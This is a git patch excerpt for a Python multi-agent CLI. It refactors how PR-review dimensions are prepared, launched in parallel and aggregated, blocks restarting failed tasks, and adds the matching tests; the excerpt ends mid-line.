snap=snap, + task=task, + exec_argv=exec_argv, ) - if working is None: - _agent_start( - session_id=session_id, - tid=tid, - role=role, - vendor=vendor, - round_num=round_num, - ) - launch_spec = spec_file - if role in _REVIEW_ROLES: - try: - launch_spec = build_review_spec_file( - store, - tid, - role=role, - round_num=round_num, - implement_spec_file=spec_file, - cwd=run_cwd, - exec_argv=exec_argv, - ) - except EmptyReviewDiffError as exc: - working = main_mod._find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num - ) - if working is not None: - _agent_finish(str(working["id"]), "unavailable", note=str(exc)) - _check_record( - tid=tid, - name="empty-review-diff", - command=f"role={role} vendor={vendor}", - result="fail", - output=str(exc), - ) - return RunOutcome( - kind="failed", - key=step.key, - step=step, - reason=str(exc), - message=str(exc), - ) - except ReviewDiffUnavailableError as exc: - # External/transient git failure — leave task untouched for retry - # (same shape as vendor_unavailable in _lane_retry_then_fail). - working = main_mod._find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num - ) - if working is not None: - _agent_finish(str(working["id"]), "unavailable", note=str(exc)) - return RunOutcome( - kind="vendor_unavailable", - key=step.key, - reason=str(exc), - message=str(exc), - ) - except OSError: - working = main_mod._find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num - ) - if working is not None: - _agent_finish( - str(working["id"]), - "unavailable", - note=f"review-spec write failed ({role} {vendor})", - ) - raise + if isinstance(prepared, RunOutcome): + return prepared # OSError propagates to caller (fixer catches; cmd_run surfaces). try: - result = launch( - role=role, - vendor=vendor, - spec_file=launch_spec, - cwd=run_cwd, - runner=runner, - tmux=tmux, - ) + result = launch_agent_plan(prepared, runner=runner, tmux=tmux) except OSError: working = main_mod._find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num + store, + tid, + role=prepared.role, + vendor=prepared.vendor, + round_num=prepared.round_num, ) if working is not None: _agent_finish( str(working["id"]), "unavailable", - note=f"launch failed ({role} {vendor})", + note=f"launch failed ({prepared.role} {prepared.vendor})", ) raise - - decision, findings_text = _interpret_lane(role, result) - if decision == "pass": - out = _finish_agent_pass( - store, - tid, - role=role, - vendor=vendor, - round_num=round_num, - head=head, - result=result, - step=step, - cwd=run_cwd, - exec_argv=exec_argv, - ) - out.lane_results = [result] - return out - if decision == "fail" and findings_text is not None: - out = _finish_agent_fail( - store, - tid, - role=role, - vendor=vendor, - round_num=round_num, - head=head, - result=result, - step=step, - findings_text=findings_text, - round_cap=round_cap, - cwd=run_cwd, - exec_argv=exec_argv, - ) - out.lane_results = [result] - return out - # retry once - return _lane_retry_then_fail( + return complete_spine_agent_step( store, tid, - role=role, - vendor=vendor, - round_num=round_num, - head=head, - step=step, - spec_file=launch_spec, - cwd=run_cwd, + prepared, + result, + round_cap=round_cap, tmux=tmux, runner=runner, - first=result, - round_cap=round_cap, exec_argv=exec_argv, ) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index f39c983..3380604 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -5,6 +5,7 @@ import os import shutil import subprocess +import threading import time import uuid from pathlib import Path @@ -1992,15 +1993,24 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] _fake_insert_pr_open_and_scan, ) + # Spy on complete_spine_agent_step (not execute_spine_step): the + # parallel PR-dimension path calls it directly, bypassing + # execute_spine_step entirely, so a spy at that higher level would + # silently miss every outcome routed through the parallel pair. + # complete_spine_agent_step is imported into both run_core's own + # module globals (used by execute_spine_step's bare-name call) and + # fixer_act's (used by _drive_parallel_pr_pair's bare-name call) -- + # each is a separate binding, so both must be patched. calls: list[tuple[str | None, str, str | None]] = [] - real_execute = fixer_mod.execute_spine_step + real_complete = fixer_mod.complete_spine_agent_step - def spy_execute(*args, **kwargs): # type: ignore[no-untyped-def] - outcome = real_execute(*args, **kwargs) - calls.append((kwargs.get("head"), outcome.kind, outcome.key)) + def spy_complete(store, tid, plan, result, **kwargs): # type: ignore[no-untyped-def] + outcome = real_complete(store, tid, plan, result, **kwargs) + calls.append((plan.head, outcome.kind, outcome.key)) return outcome - monkeypatch.setattr("agent_cli.fixer_act.execute_spine_step", spy_execute) + monkeypatch.setattr("agent_cli.fixer_act.complete_spine_agent_step", spy_complete) + monkeypatch.setattr("agent_cli.run_core.complete_spine_agent_step", spy_complete) store = _store(tmp_path) try: @@ -2626,3 +2636,92 @@ def boom_launch(**_kwargs: object) -> object: assert any(tid in line for line in lines2) assert _task_state(tmp_path, tid) != "failed" + + +def test_drive_error_fix_tasks_runs_pr_dimensions_concurrently( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Same-vendor PR dimensions must overlap in wall-clock time under exclusive(). + + Uses threading.Barrier(2): sequential launch would hang until timeout. Goes + through drive_error_fix_tasks (not bare _drive_one) so a Store RLock + deadlock under exclusive() would also hang this test. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + barriers = { + "grok": threading.Barrier(2), + "codex": threading.Barrier(2), + } + events: list[tuple[str, str, str, float]] = [] + lock = threading.Lock() + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + with lock: + events.append(("enter", vendor, role, time.monotonic())) + barriers[vendor].wait(timeout=5) + with lock: + events.append(("exit", vendor, role, time.monotonic())) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, pushed_sha + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + lines = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert any(tid in line for line in lines) + assert _task_state(tmp_path, tid) == "done" + + for vendor in ("grok", "codex"): + vendor_events = [e for e in events if e[1] == vendor] + enters = [e for e in vendor_events if e[0] == "enter"] + exits = [e for e in vendor_events if e[0] == "exit"] + assert len(enters) == 2, f"{vendor}: expected 2 parallel enters, got {enters}" + assert len(exits) == 2, f"{vendor}: expected 2 exits, got {exits}" + # Second enter before first exit → genuine overlap (Barrier already + # enforced rendezvous; this asserts the recorded timestamps too). + assert max(e[3] for e in enters) < min(e[3] for e in exits), ( + f"{vendor}: launches did not overlap: {vendor_events}" + ) diff --git a/tests/test_run.py b/tests/test_run.py index 0c70032..90d3eb3 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -553,7 +553,7 @@ def test_collect_review_diff_no_base_candidate_resolves_marks_probes_not_ok( def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: return Completed(1, "", "") - # Supplemental HEAD / --cached probes succeed but empty. + # Supplemental HEAD probe succeeds but empty. return Completed(0, "", "") _diff, _paths, probes_ok = _collect_review_diff(str(tmp_path), fake_exec) @@ -572,13 +572,50 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: return Completed(1, "", "") if argv[:2] == ["git", "merge-base"]: return Completed(0, " \n", "") - # Supplemental HEAD / --cached probes succeed but empty. + # Supplemental HEAD probe succeeds but empty. return Completed(0, "", "") _diff, _paths, probes_ok = _collect_review_diff(str(tmp_path), fake_exec) assert probes_ok is False +def test_collect_review_diff_does_not_duplicate_overlapping_staged_hunk( + tmp_path: Path, +) -> None: + """Staged hunk must appear once: git diff HEAD already covers the index.""" + hunk = "diff --git a/src/foo.py b/src/foo.py\n+overlapping-staged-hunk\n" + calls: list[list[str]] = [] + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + calls.append(list(argv)) + if argv[:3] == ["git", "rev-parse", "--verify"]: + # No base candidate resolves, so only the plain-HEAD probes run + # (no separate range-diff probe to also pick up the same hunk). + # probes_ok is correctly False here per the round-33 no-base- + # candidate rule -- this test targets dedup, not probes_ok. + return Completed(1, "", "") + if argv[:2] == ["git", "diff"]: + # Both HEAD and a legacy --cached probe would return the same text; + # after the fix only HEAD is queried for content, so the hunk once. + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, hunk, "") + return Completed(0, "", "") + + diff_text, paths, probes_ok = _collect_review_diff(str(tmp_path), fake_exec) + assert probes_ok is False + assert diff_text.count("overlapping-staged-hunk") == 1 + assert diff_text.count(hunk.strip()) == 1 + assert "src/foo.py" in paths + content_diffs = [ + c + for c in calls + if c[:2] == ["git", "diff"] and "--name-only" not in c + ] + assert ["git", "diff", "HEAD"] in content_diffs + assert not any("--cached" in c for c in content_diffs) + + def test_build_review_spec_file_raises_unavailable_when_no_base_resolves( tmp_path: Path, ) -> None: @@ -2007,3 +2044,97 @@ def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] completed = _exec_argv(["sleep", "999"], cwd="/tmp") assert completed.returncode == 124 assert completed.stderr + + +def test_pr_gate_rejection_evidence_omits_status_preamble( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Fail-decision gate evidence must be FINDINGS body only, not raw STATUS: transcript.""" + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _advance_to_pushed(tmp_path, tid, capsys, monkeypatch) + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, pushed_sha + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+x\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + fail_stdout = ( + "STATUS: complete\n" + "REASON: found issues\n" + "SCOPE: pr diff\n" + "DIMENSION: quality\n" + "FINDINGS:\n" + "- src/foo.py:1 fix the retry loop\n" + "NOT-VERIFIABLE: none\n" + ) + + def reject_launch(**kwargs): # type: ignore[no-untyped-def] + return LaneResult( + role=kwargs["role"], + vendor=kwargs["vendor"], + status="complete", + argv=[kwargs["vendor"]], + returncode=0, + stdout=fail_stdout, + stderr="", + ) + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", reject_launch) + spec = tmp_path / "spec.md" + spec.write_text("do work\n", encoding="utf-8") + + store = _store(tmp_path) + try: + outcome = execute_spine_step( + store, + tid, + head=None, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.kind == "closed" and outcome.key == "pushed" + + outcome = execute_spine_step( + store, + tid, + head=pushed_sha, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + round_cap=5, + ) + assert outcome.kind == "rejected_new_round" + assert outcome.rejection_findings is not None + assert "STATUS:" not in outcome.rejection_findings + assert "REASON:" not in outcome.rejection_findings + assert "SCOPE:" not in outcome.rejection_findings + assert "src/foo.py:1 fix the retry loop" in outcome.rejection_findings + + rejected = [ + g + for g in store.rows("review_gate") + if g.get("task_id") == tid and g.get("verdict") == "rejected" + ] + assert rejected, "expected a rejected gate row" + evidence = str(rejected[-1].get("evidence") or "") + assert "STATUS:" not in evidence + assert "REASON:" not in evidence + assert "src/foo.py:1 fix the retry loop" in evidence + finally: + store.close() From 5f5a6dc1ce94825a91a8970a7f5434240b765af0 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 23:06:50 -0300 Subject: [PATCH 23/47] Stop recording each PR-review dimension from discarding a sibling's result. The prior commit's fix for parallel PR-review dispatch abandoned whichever dimension came second whenever the other hit any terminal outcome, including vendor_unavailable -- which carries no gate/reset side effects to conflict with. That discarded a real, already-obtained review result whenever it landed second: a genuine rejection's findings could vanish entirely if paired with an unrelated vendor hiccup on the other dimension. The actual problem was two different concerns sharing one mechanism: recording each dimension's own verdict (always safe -- checklist resets are idempotent, round-start already collapses to firing once, gate rows are independent per dimension) and deciding the task-level transition (a genuine batch-level decision). Both dimensions that launch are now always fully recorded; a new aggregation step combines every rejection's findings into one spec write and decides the continue-vs-message outcome only after every dimension has been recorded, independent of which order they resolved in. That in turn surfaced a real one: a task correctly failed by one dimension (round-cap or lane-retry exhaustion) could have its failure silently erased back to "implementing" by a sibling's rejection in the same batch -- an actual unbounded retry loop, reachable through two separate write paths (the deferred round-start, and gate recording's own auto-transition on a rejected verdict). Both paths now leave a failed task alone; starting a round on a failed task is refused outright, the same way it already refuses on a done one. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 1 + src/agent_cli/fixer_act.py | 379 +++++++++++------ src/agent_cli/main.py | 8 +- src/agent_cli/run_core.py | 33 -- tests/test_fixer_act.py | 822 ++++++++++++++++++++++++++++++++++++- 5 files changed, 1089 insertions(+), 154 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index e9a8176..db0b219 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -680,6 +680,7 @@ For confirmed error-fix tasks only (same `error_fix_confirmed` condition), `clos - Scripts the five-part spec under `$AGENT_HOME/error-fix-specs//.spec.md` (a sibling of `error-fix-work`, never inside the pushed git worktree) from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. - Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. +- When both dimensions of one vendor PR-review pair (`grok_pr_quality`/`grok_pr_logic`, or `codex_pr_quality`/`codex_pr_logic`) are ready simultaneously, the driver prepares both on the store-owning thread, launches any still-pending dimensions concurrently via a thread pool (worker threads only call the lane launch itself, never touch the store), then fully finishes both on that same thread (gate row, checklist, agent finish — no abandon/discard). Task-level continue-vs-message and the combined rejection-feedback write happen once afterward, aggregated across the batch so either dimension's rejection is preserved regardless of pair order; a `failed` outcome in the batch skips the deferred `round start` and wins over a sibling's `cont=True`. On an unhandled exception mid-prepare/launch/finish, any still-working agent row for either dimension is released before the exception propagates, and a rejection reset already committed earlier in the batch still receives its deferred `round start` (best-effort) when no outcome failed the task. `agent round start` itself refuses `state=failed` the same way it refuses `state=done`. `agent gate record --verdict rejected` also leaves `state=failed` unchanged (rather than its usual auto-transition to `implementing`) when the sibling already failed the task in the same batch — the rejected gate row is still recorded either way, for audit, even though the task stays permanently stopped. Ordinary `agent run` and every other spine step remain one-at-a-time. - If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver leaves task and checklist state untouched for retry, but releases any already-started agent row (`cmd_agent finish --verdict unavailable`) rather than leaving it `working` forever — notes the CLI looks unavailable, and moves on; the next scan retries after a human fixes PATH/auth. - Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no successful (`done`) `pr.open` activity row exists yet for that task's branch head. A mid-flight `pending` row is resumed via `scan_github` (no duplicate insert); an `error` row or missing row triggers a fresh `insert_pr_open_and_scan` — so a failed insert is not silently skipped by the next scan. - After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`, then continues through the PR gates to `done`. diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 3f86118..fab9348 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -16,7 +16,7 @@ from .chain import Step, close_allowed, is_error_fix_originated, next_steps from .error_fix_act import _error_seen, _nonempty_str, _repo_ok -from .lane import Runner as LaneRunner, extract_findings_text +from .lane import LaneResult, Runner as LaneRunner, extract_findings_text from .runtime import Completed from .run_core import ( DEFAULT_ROUND_CAP, @@ -25,7 +25,6 @@ _agent_finish, _fence_marker, _round_start, - abandon_prepared_agent, complete_spine_agent_step, execute_spine_step, launch_agent_plan, @@ -550,13 +549,12 @@ def _apply_drive_outcome( session_id: str, brief: str, ) -> tuple[str | None, str | None, bool]: - """Apply one RunOutcome the way the sequential _drive_one loop does. + """Map one RunOutcome to (return_message | None, updated_head, should_continue). - Returns (return_message | None, updated_head, should_continue). - When return_message is set, the caller must return it immediately. - should_continue True means continue the outer step loop (e.g. closed / - rejected_new_round); False with no return_message means keep processing - further outcomes in the same iteration. + Per-outcome only: does not write rejection feedback (the batch aggregator + combines findings and writes once). Callers must not early-return on the + first message when processing a multi-outcome batch — use + ``_aggregate_drive_outcomes`` instead. """ updated_head = outcome.head_sha or head @@ -611,15 +609,6 @@ def _apply_drive_outcome( # rejection keeps key="reviewer_approved" and does not reset pushed. if outcome.key != "reviewer_approved": updated_head = None - if error_id and repo and outcome.rejection_findings: - write_error_fix_spec( - store, - tid, - error_id=error_id, - session_id=session_id, - repo=repo, - rejection_feedback=outcome.rejection_findings, - ) return None, updated_head, True if outcome.kind in ("closed", "agent_closed"): @@ -632,6 +621,143 @@ def _apply_drive_outcome( ) +# When every outcome in a batch is terminal (no cont), pick one message. +# More actionable kinds win; ties keep pair / encounter order. +_TERMINAL_MESSAGE_PRIORITY = { + "failed": 0, + "not_closable": 1, + "agent_handoff": 2, + "vendor_unavailable": 3, +} + + +def _combine_rejection_feedback(sections: list[tuple[str, str]]) -> str: + """Attribute each dimension's findings under a ``## `` heading.""" + parts: list[str] = [] + for key, findings in sections: + body = findings.strip() + parts.append(f"## {key}\n\n{body}" if body else f"## {key}") + return "\n\n".join(parts) + + +def _batch_should_round_start(outcomes: list[RunOutcome]) -> bool: + """True when a deferred round-start is owed and no outcome failed the task. + + A ``failed`` outcome in the same batch must never be followed by + ``_round_start``: that would reopen ``task.state`` back to ``implementing``. + """ + return not any(o.kind == "failed" for o in outcomes) and any( + o.needs_round_start for o in outcomes + ) + + +def _aggregate_drive_outcomes( + store: Store, + tid: str, + outcomes: list[RunOutcome], + *, + head: str | None, + error_id: str, + repo: str, + session_id: str, + brief: str, +) -> tuple[str | None, str | None, bool]: + """Decide continue vs. message once for a batch of RunOutcomes. + + Writes combined rejection feedback at most once, applies every outcome + unconditionally, then: a ``failed`` outcome's message wins over any + sibling ``cont=True``; otherwise any ``cont=True`` wins over any message; + otherwise the most actionable terminal message is returned. A PR-gate + rejection in the batch forces ``head=None`` regardless of processing order. + """ + rejection_sections: list[tuple[str, str]] = [] + for outcome in outcomes: + if outcome.kind != "rejected_new_round": + continue + findings = outcome.rejection_findings + if not findings: + continue + rejection_sections.append((outcome.key or "rejection", findings)) + if rejection_sections and error_id and repo: + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + rejection_feedback=_combine_rejection_feedback(rejection_sections), + ) + + any_cont = False + force_head_none = False + messages: list[tuple[str, str]] = [] + current_head = head + for outcome in outcomes: + msg, current_head, cont = _apply_drive_outcome( + store, + tid, + outcome, + head=current_head, + error_id=error_id, + repo=repo, + session_id=session_id, + brief=brief, + ) + if ( + outcome.kind == "rejected_new_round" + and outcome.key != "reviewer_approved" + ): + force_head_none = True + if cont: + any_cont = True + if msg is not None: + messages.append((outcome.kind, msg)) + + final_head: str | None = None if force_head_none else current_head + + # A failed outcome must surface even when a sibling wants to continue; + # otherwise the unattended loop would keep retrying a terminal failure. + if any_cont and not any(o.kind == "failed" for o in outcomes): + return None, final_head, True + + if not messages: + kind = outcomes[-1].kind if outcomes else "empty" + return f"error-fix-work {tid} stop kind={kind}", final_head, False + + # failed > not_closable > agent_handoff > vendor_unavailable > other; + # equal priority keeps first-encountered (pair order). + best_msg = min( + enumerate(messages), + key=lambda ikm: ( + _TERMINAL_MESSAGE_PRIORITY.get(ikm[1][0], 50), + ikm[0], + ), + )[1][1] + return best_msg, final_head, False + + +def _release_pair_working_agents( + store: Store, + tid: str, + pair: list[Step], + *, + note: str, +) -> None: + """Best-effort: finish any still-working agent row for either pair dimension.""" + from . import main as main_mod + + for step in pair: + role = str(step.role or "") + vendor = str(step.vendor or "") + # PR-reviewer rows are started with round_num=None; a None lookup + # matches any round for that role/vendor (see _find_working_agent). + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=None + ) + if working is not None: + _agent_finish(str(working["id"]), "unavailable", note=note) + + def _drive_parallel_pr_pair( store: Store, tid: str, @@ -651,6 +777,16 @@ def _drive_parallel_pr_pair( Store I/O stays on the calling thread. Workers only call launch_agent_plan (lane.launch) — never Store methods — so this is safe under store.exclusive's threading.RLock. + + Outcomes are always returned in ``pair`` order. Every dimension that + launched is always fully finished (gate / checklist / agent row) via + ``complete_spine_agent_step``; there is no abandon/discard path. Task-level + continue-vs-message and the combined rejection-feedback write are decided + later by the caller across the whole batch. On any unhandled exception, + still-working agent rows for either dimension are released before re-raising; + if an earlier dimension already committed a rejection reset that still + needs a round-start (and no outcome failed the task), that round-start + runs best-effort before the original exception propagates. """ from . import main as main_mod @@ -658,94 +794,105 @@ def _drive_parallel_pr_pair( runner, argv, cwd=cwd ) - early: list[RunOutcome] = [] - plans: list[AgentLaunchPlan] = [] - for step in pair: - # Re-snapshot so the second prepare sees agents started by the first. - snap = main_mod._chain_snapshot(store, tid, extra_head=head) - task = store.row("task", tid) or task - prepared = prepare_spine_agent_step( - store, - tid, - step, - head=head, - spec_file=spec_file, - cwd=cwd, - snap=snap, - task=task, - exec_argv=exec_argv, - ) - if isinstance(prepared, RunOutcome): - early.append(prepared) - else: - plans.append(prepared) - - launch_results: dict[str, LaneResult | BaseException] = {} - if plans: - with ThreadPoolExecutor(max_workers=len(plans)) as pool: - futures = { - pool.submit( - launch_agent_plan, plan, runner=lane_runner, tmux=False - ): plan - for plan in plans - } - for fut in as_completed(futures): - plan = futures[fut] - try: - launch_results[plan.step.key] = fut.result() - except BaseException as exc: # noqa: BLE001 — surface to caller - launch_results[plan.step.key] = exc - - outcomes: list[RunOutcome] = list(early) - stop_sibling_finish = False - for plan in plans: - payload = launch_results[plan.step.key] - if isinstance(payload, OSError): - # Mirror execute_spine_step: release agent, re-raise for vendor-cli path. - working = main_mod._find_working_agent( - store, - tid, - role=plan.role, - vendor=plan.vendor, - round_num=plan.round_num, - ) - if working is not None: - _agent_finish( - str(working["id"]), - "unavailable", - note=f"launch failed ({plan.role} {plan.vendor})", + # Visible to the except handler so a committed rejection reset can still + # receive its deferred round-start when a later dimension raises. + outcomes: list[RunOutcome] = [] + try: + # One entry per pair step, in pair order — early outcomes and plans + # stay interleaved so returned outcomes follow pair order. + prepared: list[RunOutcome | AgentLaunchPlan] = [] + for step in pair: + # Re-snapshot so the second prepare sees agents started by the first. + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + task = store.row("task", tid) or task + prepared.append( + prepare_spine_agent_step( + store, + tid, + step, + head=head, + spec_file=spec_file, + cwd=cwd, + snap=snap, + task=task, + exec_argv=exec_argv, ) - raise payload - if isinstance(payload, BaseException): - raise payload - if stop_sibling_finish: - outcomes.append( - abandon_prepared_agent( + ) + + plans = [p for p in prepared if isinstance(p, AgentLaunchPlan)] + launch_results: dict[str, LaneResult | BaseException] = {} + if plans: + with ThreadPoolExecutor(max_workers=len(plans)) as pool: + futures = { + pool.submit( + launch_agent_plan, plan, runner=lane_runner, tmux=False + ): plan + for plan in plans + } + for fut in as_completed(futures): + plan = futures[fut] + try: + launch_results[plan.step.key] = fut.result() + except BaseException as exc: # noqa: BLE001 — surface to caller + launch_results[plan.step.key] = exc + + for item in prepared: + if isinstance(item, RunOutcome): + outcomes.append(item) + continue + + plan = item + payload = launch_results[plan.step.key] + if isinstance(payload, OSError): + # Mirror execute_spine_step: release this agent; the except + # sweep below releases any sibling still working. + working = main_mod._find_working_agent( store, tid, - plan, - note="sibling PR dimension already rejected or failed", + role=plan.role, + vendor=plan.vendor, + round_num=plan.round_num, ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"launch failed ({plan.role} {plan.vendor})", + ) + raise payload + if isinstance(payload, BaseException): + raise payload + outcome = complete_spine_agent_step( + store, + tid, + plan, + payload, + round_cap=round_cap, + tmux=False, + runner=lane_runner, + exec_argv=exec_argv, + defer_round_start=True, ) - continue - outcome = complete_spine_agent_step( + outcomes.append(outcome) + if _batch_should_round_start(outcomes): + _round_start(tid) + return outcomes + except BaseException: + _release_pair_working_agents( store, tid, - plan, - payload, - round_cap=round_cap, - tmux=False, - runner=lane_runner, - exec_argv=exec_argv, - defer_round_start=True, + pair, + note="parallel PR-dimension pair aborted", ) - outcomes.append(outcome) - if outcome.kind in ("rejected_new_round", "failed"): - # Match sequential semantics: one rejection owns the reset/round-start. - stop_sibling_finish = True - if any(o.needs_round_start for o in outcomes): - _round_start(tid) - return outcomes + # Best-effort: keep a committed rejection reset consistent with a new + # task_round. Never let round_start's failure mask the original + # exception (e.g. OSError → vendor-cli-unavailable in _drive_one). + if _batch_should_round_start(outcomes): + try: + _round_start(tid) + except (Exception, SystemExit): + pass + raise def _drive_one( @@ -942,25 +1089,21 @@ def _drive_one( f"error-fix-work {tid} vendor-cli-unavailable " f"({type(exc).__name__}: {exc})" ) - # Process in ready order (quality then logic). Finish writes already - # happened; a terminal kind returns after that full finish pass. - continue_outer = False - for outcome in outcomes: - msg, head, cont = _apply_drive_outcome( - store, - tid, - outcome, - head=head, - error_id=error_id, - repo=repo, - session_id=session_id, - brief=brief, - ) - if msg is not None: - return msg - if cont: - continue_outer = True - if continue_outer: + # Finish writes already happened per dimension; decide continue vs. + # message once across the whole batch (order-independent). + msg, head, cont = _aggregate_drive_outcomes( + store, + tid, + outcomes, + head=head, + error_id=error_id, + repo=repo, + session_id=session_id, + brief=brief, + ) + if msg is not None: + return msg + if cont: continue kind = outcomes[-1].kind if outcomes else "empty" return f"error-fix-work {tid} stop kind={kind}" @@ -987,10 +1130,10 @@ def _drive_one( f"({type(exc).__name__}: {exc})" ) - msg, head, cont = _apply_drive_outcome( + msg, head, cont = _aggregate_drive_outcomes( store, tid, - outcome, + [outcome], head=head, error_id=error_id, repo=repo, diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 07c5974..8857ae4 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -814,6 +814,8 @@ def cmd_round(args: list[str]) -> None: die("round start requires workflow implement|resolve-conflicts") if task.get("state") == "done": die("cannot start a round on a done task") + if task.get("state") == "failed": + die("cannot start a round on a failed task") current = int(task.get("current_round") or 0) for agent in store.rows("agent"): if agent.get("task_id") == tid and agent.get("status") == "working": @@ -1269,7 +1271,11 @@ def cmd_gate(args: list[str]) -> None: }, ) if verdict == "rejected" and task.get("workflow") in ("implement", "resolve-conflicts"): - if task.get("state") != "implementing": + # A sibling PR-review dimension's own gate rejection must never + # resurrect a task another dimension in the same batch already + # failed permanently (round-cap/lane-retry exhaustion) -- the + # gate row itself is still recorded above either way. + if task.get("state") not in ("implementing", "failed"): task["state"] = "implementing" task["updated_at"] = utcnow() store.write("task", "update", tid, _strip(task)) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 6eefa26..8a94695 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -1085,39 +1085,6 @@ def complete_spine_agent_step( ) -def abandon_prepared_agent( - store: Store, - tid: str, - plan: AgentLaunchPlan, - *, - note: str, -) -> RunOutcome: - """Release a working agent without gate/checklist mutation. - - Used when a sibling PR-dimension already rejected/failed and further - pass/fail finishing would double-reset or start a second round. - """ - from . import main as main_mod - - working = main_mod._find_working_agent( - store, tid, role=plan.role, vendor=plan.vendor, round_num=plan.round_num - ) - if working is not None: - _agent_finish(str(working["id"]), "rejected", note=note) - return RunOutcome( - kind="closed", - key=plan.step.key, - step=plan.step, - reason=note, - # No head_sha: this outcome asserts nothing about head. Setting it - # to plan.head (the pre-attempt head this abandoned sibling was - # prepared with) would re-clobber a head=None reset the sibling's - # own rejected_new_round outcome already applied earlier in the - # same batch -- let whatever the caller already has stand. - head_sha=None, - ) - - def execute_spine_step( store: Store, tid: str, diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 3380604..caa07d2 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -28,6 +28,7 @@ ) from agent_cli.git_act import GitActError, push_branch from agent_cli.lane import LaneResult, findings_header_present +from agent_cli.run_core import ReviewDiffUnavailableError, build_review_spec_file from agent_cli.runtime import Completed from agent_cli.store import Store, StoreError from test_cli import _last_task_id, run @@ -2027,10 +2028,22 @@ def spy_complete(store, tid, plan, result, **kwargs): # type: ignore[no-untyped i for i, (_, kind, key) in enumerate(calls) if kind == 